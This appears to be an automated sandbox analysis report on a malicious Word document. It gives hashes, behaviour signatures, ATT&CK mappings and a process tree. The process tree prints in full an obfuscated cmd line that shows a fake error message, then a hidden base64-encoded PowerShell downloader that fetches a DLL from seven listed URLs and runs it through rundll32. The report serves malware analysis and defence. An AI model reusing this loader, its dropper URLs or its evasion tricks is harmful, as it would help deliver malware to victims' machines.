985fae09feedd61a2e56ed1ddbae8de0d34a19c65ab3eb12b057303258aff99c

General

Target

Datos_2021_D_81958.doc
Size

165KB
MD5

81cdd55af265255b18a9b2700f475d76
SHA1

c60563e15a43058a594c36c5ec54dd8ef74c6b6b
SHA256

985fae09feedd61a2e56ed1ddbae8de0d34a19c65ab3eb12b057303258aff99c
SHA512

03230f229410699bf36ca57948e722438c891bba187cfeaa96454f7259ec6d9e11d0d8a5597facbb777a04edc4c89659ea11e9b9f6997091077060bee488c431

Score

10^/10

ransomware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://inhaustyle.com/wp-admin/7OtP5/

exe.dropper

https://elsadinc.com/wp-content/B/

exe.dropper

https://jolifm.com/new/5hkc3/

exe.dropper

https://technologydistilled.com/a-nurse-ss8d9/z/

exe.dropper

http://o7therapy.com/egyptian-comedy-hiiro/As0/

exe.dropper

http://signinsolution.com/wp-content/Vr0/

exe.dropper

http://cashstreamfinancial.com/wp-admin/23/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3732 68 cmd.exe
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

23 196 powershell.exe
25 196 powershell.exe
33 196 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3732	68	cmd.exe

flow	pid	process
23	196	powershell.exe
25	196	powershell.exe
33	196	powershell.exe

JavaScript code in executable 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dll	js

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

528 WINWORD.EXE
528 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

196 powershell.exe
196 powershell.exe
196 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 196 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

528 WINWORD.EXE
528 WINWORD.EXE
528 WINWORD.EXE
528 WINWORD.EXE
528 WINWORD.EXE
528 WINWORD.EXE
528 WINWORD.EXE

pid	process
528	WINWORD.EXE
528	WINWORD.EXE

pid	process
196	powershell.exe
196	powershell.exe
196	powershell.exe

description	pid	process
Token: SeDebugPrivilege	196	powershell.exe

pid	process
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE
528	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 3732 wrote to memory of 2252	3732	cmd.exe	msg.exe
PID 3732 wrote to memory of 2252	3732	cmd.exe	msg.exe
PID 3732 wrote to memory of 196	3732	cmd.exe	powershell.exe
PID 3732 wrote to memory of 196	3732	cmd.exe	powershell.exe
PID 196 wrote to memory of 1624	196	powershell.exe	rundll32.exe
PID 196 wrote to memory of 1624	196	powershell.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Datos_2021_D_81958.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:528

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAFYAIAAgAGUAcgB5AEQANABHACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAwAH0AewAxAH0AewAyAH0AIgAgAC0ARgAgACcAZABpAFIARQBDAHQATwAnACwAJwByACcALAAnAFkAJwAsACcALgAnACwAJwBzAHkAcwBUAEUAbQAuAEkAJwAsACcAbwAnACkAIAApADsAIAAgACAAUwBFAFQAIAAoACIAdwAiACsAIgAzAEMAdAA1ACIAKQAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAIAAnAHMAJwAsACcAcABvAEkAbgB0AG0AQQBuAGEARwBlAHIAJwAsACcARQB0ACcALAAnAFYASQBjAEUAJwAsACcALgBTAEUAcgAnACwAJwB5AHMAVABlAG0ALgBuACcAKQAgACAAKQAgADsAJABLAGoAdQAwAHEAeQB6AD0AJABGADAAXwBNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABQADAAOQBQADsAJABOADMAMgBYAD0AKAAnAFQAMgAnACsAJwA2AFMAJwApADsAIAAoACAAIABWAEEAcgBJAGEAYgBsAEUAIABFAFIAWQBkADQARwAgAC0AVgBhAGwAdQBlAG8ATgBsAHkAKQA6ADoAIgBjAFIAYABlAGEAdABFAGQAaQBgAFIAYABlAEMAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AQwA1AGsAXwBvAHkAeAB7ADAAfQBQACcAKwAnAG8AJwArACcAMAAnACsAJwBwADUAOQBwAHsAMAAnACsAJwB9ACcAKQAgACAALQBGAFsAQwBoAGEAcgBdADkAMgApACkAOwAkAFMANQBfAEQAPQAoACcARwAnACsAKAAnADUAJwArACcAOABNACcAKQApADsAIAAoAEMAaABJAEwARABpAFQARQBNACAAKAAnAHYAQQBSAEkAYQBCAEwARQA6AFcAJwArACcAMwAnACsAJwBjACcAKwAnAFQANQAnACkAKQAuAFYAYQBsAFUARQA6ADoAIgBTAGAAZQBgAGMAVQByAEkAYABUAHkAUABSAE8AVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAEkANgAwAFMAPQAoACcATwAnACsAKAAnADkAJwArACcAMwBVACcAKQApADsAJABLADYAdAA1AG8AXwBwACAAPQAgACgAJwBZACcAKwAoACcANwA1ACcAKwAnAFUAJwApACkAOwAkAEwANgA4AFAAPQAoACcARwA1ACcAKwAnADMAVgAnACkAOwAkAEUAcwAzADgAcQAxADcAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBDACcAKwAoACcANQAnACsAJwBrAF8AbwAnACkAKwAnAHkAJwArACcAeAB7ADAAJwArACcAfQBQAG8AMABwADUAOQAnACsAJwBwAHsAMAB9ACcAKQAgAC0ARgAgACAAWwBjAEgAYQByAF0AOQAyACkAKwAkAEsANgB0ADUAbwBfAHAAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAMAA5AFoAPQAoACgAJwBFADMAJwArACcAMwAnACkAKwAnAEMAJwApADsAJABVAGUANwBhAGQAcQA4AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQASgByAHgAbgBqAG4AMgA9ACgAKAAnAHgAJwArACcAIABbACAAcwBoACcAKQArACgAJwAgACcAKwAnAGIAOgAnACsAJwAvAC8AaQBuACcAKwAnAGgAYQB1ACcAKQArACgAJwBzAHQAeQAnACsAJwBsAGUALgAnACkAKwAoACcAYwBvAG0ALwB3AHAALQAnACsAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAbgAnACsAJwAvADcAJwArACcATwB0ACcAKwAnAFAAJwArACgAJwA1ACcAKwAnAC8AIQB4ACcAKQArACgAJwAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAJwArACcAYgBzADoALwAvAGUAbABzACcAKQArACgAJwBhACcAKwAnAGQAaQBuACcAKwAnAGMALgAnACsAJwBjAG8AbQAvAHcAcAAtAGMAbwAnACkAKwAoACcAbgB0AGUAbgB0AC8AJwArACcAQgAvACEAJwArACcAeAAnACkAKwAoACcAIABbACcAKwAnACAAcwBoACAAYgBzACcAKQArACgAJwA6AC8AJwArACcALwBqACcAKQArACgAJwBvAGwAJwArACcAaQBmACcAKQArACgAJwBtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAJwAvAG4AJwArACgAJwBlACcAKwAnAHcALwA1ACcAKQArACcAaABrACcAKwAoACcAYwAzAC8AJwArACcAIQB4ACAAWwAnACsAJwAgAHMAaAAnACkAKwAnACAAYgAnACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAHQAJwArACcAZQBjAGgAbgBvACcAKwAnAGwAbwAnACkAKwAoACcAZwB5ACcAKwAnAGQAaQBzAHQAaQBsAGwAZQBkAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYQAnACsAJwAtAG4AdQByACcAKwAnAHMAZQAnACsAJwAtAHMAJwApACsAJwBzADgAJwArACgAJwBkACcAKwAnADkALwB6ACcAKwAnAC8AIQAnACkAKwAnAHgAJwArACcAIAAnACsAKAAnAFsAIABzAGgAJwArACcAIABiACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBvACcAKQArACgAJwA3AHQAaABlAHIAYQBwACcAKwAnAHkAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBlACcAKwAnAGcAJwArACcAeQBwAHQAaQBhAG4ALQBjAG8AbQAnACsAJwBlAGQAeQAtAGgAaQAnACsAJwBpACcAKQArACgAJwByACcAKwAnAG8ALwBBACcAKQArACgAJwBzADAALwAhACcAKwAnAHgAIABbACAAJwArACcAcwBoACcAKQArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAHMAaQBnAG4AJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBzAG8AJwArACcAbAB1AHQAJwApACsAJwBpAG8AJwArACgAJwBuAC4AYwBvAG0ALwAnACsAJwB3AHAALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAbgB0ACcAKwAnAC8AVgByADAALwAnACkAKwAoACcAIQB4ACcAKwAnACAAWwAgACcAKQArACgAJwBzACcAKwAnAGgAIAAnACkAKwAoACcAYgAnACsAJwA6AC8AJwApACsAKAAnAC8AJwArACcAYwBhAHMAJwApACsAKAAnAGgAJwArACcAcwB0ACcAKQArACcAcgBlACcAKwAnAGEAbQAnACsAJwBmACcAKwAoACcAaQBuACcAKwAnAGEAJwArACcAbgBjAGkAYQBsACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AMgAnACsAJwAzAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAoACcAeAAgAFsAJwArACcAIABzAGgAIAAnACkAKwAnAGIAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABVAGUANwBhAGQAcQA4ACwAJwB3AGQAJwApAFsAMwBdACkALgAiAHMAYABQAEwASQBUACIAKAAkAEEANAA2AEQAIAArACAAJABLAGoAdQAwAHEAeQB6ACAAKwAgACQAQQBfADgARgApADsAJABFADEAMwBZAD0AKAAoACcAVAA4ACcAKwAnADEAJwApACsAJwBIACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVgB3AGsAMQB3AGYAdwAgAGkAbgAgACQASgByAHgAbgBqAG4AMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0ATwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAcwB5AFMAVABFAG0ALgBOAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUACkALgAiAEQAbwB3AG4AYABsAG8AYABBAGQARgBgAEkAbABlACIAKAAkAFYAdwBrADEAdwBmAHcALAAgACQARQBzADMAOABxADEANwApADsAJABaADMAMQBQAD0AKAAoACcAUQBfACcAKwAnADMAJwApACsAJwBTACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAHMAMwA4AHEAMQA3ACkALgAiAEwAYABlAGAATgBnAHQASAAiACAALQBnAGUAIAAzADYAMwAwADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZAAnACsAJwBsAGwAMwAyACcAKQAgACQARQBzADMAOABxADEANwAsACgAKAAnAEEAJwArACcAbgB5AFMAJwApACsAKAAnAHQAcgBpAG4AJwArACcAZwAnACkAKQAuACIAVABgAG8AUwBUAHIAaQBOAEcAIgAoACkAOwAkAEkANAA2AEQAPQAoACcAWgAnACsAKAAnADYANQAnACsAJwBGACcAKQApADsAYgByAGUAYQBrADsAJABTADEAMwBaAD0AKAAnAFIAJwArACgAJwAwACcAKwAnAF8ASAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABfADAASQA9ACgAJwBJADAAJwArACcAMgBPACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3732

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABzAFYAIAAgAGUAcgB5AEQANABHACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAwAH0AewAxAH0AewAyAH0AIgAgAC0ARgAgACcAZABpAFIARQBDAHQATwAnACwAJwByACcALAAnAFkAJwAsACcALgAnACwAJwBzAHkAcwBUAEUAbQAuAEkAJwAsACcAbwAnACkAIAApADsAIAAgACAAUwBFAFQAIAAoACIAdwAiACsAIgAzAEMAdAA1ACIAKQAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAIAAnAHMAJwAsACcAcABvAEkAbgB0AG0AQQBuAGEARwBlAHIAJwAsACcARQB0ACcALAAnAFYASQBjAEUAJwAsACcALgBTAEUAcgAnACwAJwB5AHMAVABlAG0ALgBuACcAKQAgACAAKQAgADsAJABLAGoAdQAwAHEAeQB6AD0AJABGADAAXwBNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABQADAAOQBQADsAJABOADMAMgBYAD0AKAAnAFQAMgAnACsAJwA2AFMAJwApADsAIAAoACAAIABWAEEAcgBJAGEAYgBsAEUAIABFAFIAWQBkADQARwAgAC0AVgBhAGwAdQBlAG8ATgBsAHkAKQA6ADoAIgBjAFIAYABlAGEAdABFAGQAaQBgAFIAYABlAEMAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AQwA1AGsAXwBvAHkAeAB7ADAAfQBQACcAKwAnAG8AJwArACcAMAAnACsAJwBwADUAOQBwAHsAMAAnACsAJwB9ACcAKQAgACAALQBGAFsAQwBoAGEAcgBdADkAMgApACkAOwAkAFMANQBfAEQAPQAoACcARwAnACsAKAAnADUAJwArACcAOABNACcAKQApADsAIAAoAEMAaABJAEwARABpAFQARQBNACAAKAAnAHYAQQBSAEkAYQBCAEwARQA6AFcAJwArACcAMwAnACsAJwBjACcAKwAnAFQANQAnACkAKQAuAFYAYQBsAFUARQA6ADoAIgBTAGAAZQBgAGMAVQByAEkAYABUAHkAUABSAE8AVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAEkANgAwAFMAPQAoACcATwAnACsAKAAnADkAJwArACcAMwBVACcAKQApADsAJABLADYAdAA1AG8AXwBwACAAPQAgACgAJwBZACcAKwAoACcANwA1ACcAKwAnAFUAJwApACkAOwAkAEwANgA4AFAAPQAoACcARwA1ACcAKwAnADMAVgAnACkAOwAkAEUAcwAzADgAcQAxADcAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBDACcAKwAoACcANQAnACsAJwBrAF8AbwAnACkAKwAnAHkAJwArACcAeAB7ADAAJwArACcAfQBQAG8AMABwADUAOQAnACsAJwBwAHsAMAB9ACcAKQAgAC0ARgAgACAAWwBjAEgAYQByAF0AOQAyACkAKwAkAEsANgB0ADUAbwBfAHAAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAMAA5AFoAPQAoACgAJwBFADMAJwArACcAMwAnACkAKwAnAEMAJwApADsAJABVAGUANwBhAGQAcQA4AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQASgByAHgAbgBqAG4AMgA9ACgAKAAnAHgAJwArACcAIABbACAAcwBoACcAKQArACgAJwAgACcAKwAnAGIAOgAnACsAJwAvAC8AaQBuACcAKwAnAGgAYQB1ACcAKQArACgAJwBzAHQAeQAnACsAJwBsAGUALgAnACkAKwAoACcAYwBvAG0ALwB3AHAALQAnACsAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAbgAnACsAJwAvADcAJwArACcATwB0ACcAKwAnAFAAJwArACgAJwA1ACcAKwAnAC8AIQB4ACcAKQArACgAJwAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAJwArACcAYgBzADoALwAvAGUAbABzACcAKQArACgAJwBhACcAKwAnAGQAaQBuACcAKwAnAGMALgAnACsAJwBjAG8AbQAvAHcAcAAtAGMAbwAnACkAKwAoACcAbgB0AGUAbgB0AC8AJwArACcAQgAvACEAJwArACcAeAAnACkAKwAoACcAIABbACcAKwAnACAAcwBoACAAYgBzACcAKQArACgAJwA6AC8AJwArACcALwBqACcAKQArACgAJwBvAGwAJwArACcAaQBmACcAKQArACgAJwBtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAJwAvAG4AJwArACgAJwBlACcAKwAnAHcALwA1ACcAKQArACcAaABrACcAKwAoACcAYwAzAC8AJwArACcAIQB4ACAAWwAnACsAJwAgAHMAaAAnACkAKwAnACAAYgAnACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAHQAJwArACcAZQBjAGgAbgBvACcAKwAnAGwAbwAnACkAKwAoACcAZwB5ACcAKwAnAGQAaQBzAHQAaQBsAGwAZQBkAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYQAnACsAJwAtAG4AdQByACcAKwAnAHMAZQAnACsAJwAtAHMAJwApACsAJwBzADgAJwArACgAJwBkACcAKwAnADkALwB6ACcAKwAnAC8AIQAnACkAKwAnAHgAJwArACcAIAAnACsAKAAnAFsAIABzAGgAJwArACcAIABiACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBvACcAKQArACgAJwA3AHQAaABlAHIAYQBwACcAKwAnAHkAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBlACcAKwAnAGcAJwArACcAeQBwAHQAaQBhAG4ALQBjAG8AbQAnACsAJwBlAGQAeQAtAGgAaQAnACsAJwBpACcAKQArACgAJwByACcAKwAnAG8ALwBBACcAKQArACgAJwBzADAALwAhACcAKwAnAHgAIABbACAAJwArACcAcwBoACcAKQArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAHMAaQBnAG4AJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBzAG8AJwArACcAbAB1AHQAJwApACsAJwBpAG8AJwArACgAJwBuAC4AYwBvAG0ALwAnACsAJwB3AHAALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAbgB0ACcAKwAnAC8AVgByADAALwAnACkAKwAoACcAIQB4ACcAKwAnACAAWwAgACcAKQArACgAJwBzACcAKwAnAGgAIAAnACkAKwAoACcAYgAnACsAJwA6AC8AJwApACsAKAAnAC8AJwArACcAYwBhAHMAJwApACsAKAAnAGgAJwArACcAcwB0ACcAKQArACcAcgBlACcAKwAnAGEAbQAnACsAJwBmACcAKwAoACcAaQBuACcAKwAnAGEAJwArACcAbgBjAGkAYQBsACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AMgAnACsAJwAzAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAoACcAeAAgAFsAJwArACcAIABzAGgAIAAnACkAKwAnAGIAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABVAGUANwBhAGQAcQA4ACwAJwB3AGQAJwApAFsAMwBdACkALgAiAHMAYABQAEwASQBUACIAKAAkAEEANAA2AEQAIAArACAAJABLAGoAdQAwAHEAeQB6ACAAKwAgACQAQQBfADgARgApADsAJABFADEAMwBZAD0AKAAoACcAVAA4ACcAKwAnADEAJwApACsAJwBIACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVgB3AGsAMQB3AGYAdwAgAGkAbgAgACQASgByAHgAbgBqAG4AMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0ATwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAcwB5AFMAVABFAG0ALgBOAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUACkALgAiAEQAbwB3AG4AYABsAG8AYABBAGQARgBgAEkAbABlACIAKAAkAFYAdwBrADEAdwBmAHcALAAgACQARQBzADMAOABxADEANwApADsAJABaADMAMQBQAD0AKAAoACcAUQBfACcAKwAnADMAJwApACsAJwBTACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAHMAMwA4AHEAMQA3ACkALgAiAEwAYABlAGAATgBnAHQASAAiACAALQBnAGUAIAAzADYAMwAwADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZAAnACsAJwBsAGwAMwAyACcAKQAgACQARQBzADMAOABxADEANwAsACgAKAAnAEEAJwArACcAbgB5AFMAJwApACsAKAAnAHQAcgBpAG4AJwArACcAZwAnACkAKQAuACIAVABgAG8AUwBUAHIAaQBOAEcAIgAoACkAOwAkAEkANAA2AEQAPQAoACcAWgAnACsAKAAnADYANQAnACsAJwBGACcAKQApADsAYgByAGUAYQBrADsAJABTADEAMwBaAD0AKAAnAFIAJwArACgAJwAwACcAKwAnAF8ASAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABfADAASQA9ACgAJwBJADAAJwArACcAMgBPACcAKQA=
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:196

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dll,AnyString
3⤵
PID:1624

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dll
MD5
059d80eb2a95331df040c08fc4314fbb

SHA1
427833649844a8ffe1242b2fd24ee6e712738715

SHA256
ed12a7a51a86b68964dbee062898e167335fb6d96bb17dba1bf765e47be62013

SHA512
db8a1ca64df4c7107d0c8e25ada762f3471a7ca0cd50716e46b60c32db7eb32909e8680fc07e9fec3b586a90e51bd2dd775beb7c05a3fc056d013f0708e3a8eb

Download Submit
memory/196-11-0x0000027D48930000-0x0000027D48931000-memory.dmp

Filesize
4KB

Download
memory/196-13-0x0000027D48773000-0x0000027D48775000-memory.dmp

Filesize
8KB

Download
memory/196-14-0x0000027D48776000-0x0000027D48778000-memory.dmp

Filesize
8KB

Download
memory/196-12-0x0000027D48770000-0x0000027D48772000-memory.dmp

Filesize
8KB

Download
memory/196-10-0x0000027D48780000-0x0000027D48781000-memory.dmp

Filesize
4KB

Download
memory/196-8-0x0000000000000000-mapping.dmp

Download
memory/196-9-0x00007FFAAA820000-0x00007FFAAB20C000-memory.dmp

Filesize
9.9MB

Download
memory/528-2-0x00007FFA91E20000-0x00007FFA91E30000-memory.dmp

Filesize
64KB

Download
memory/528-6-0x000001B1F62C0000-0x000001B1F68F7000-memory.dmp

Filesize
6.2MB

Download
memory/528-4-0x00007FFA91E20000-0x00007FFA91E30000-memory.dmp

Filesize
64KB

Download
memory/528-5-0x00007FFA91E20000-0x00007FFA91E30000-memory.dmp

Filesize
64KB

Download
memory/528-3-0x00007FFA91E20000-0x00007FFA91E30000-memory.dmp

Filesize
64KB

Download
memory/1624-15-0x0000000000000000-mapping.dmp

Download
memory/2252-7-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads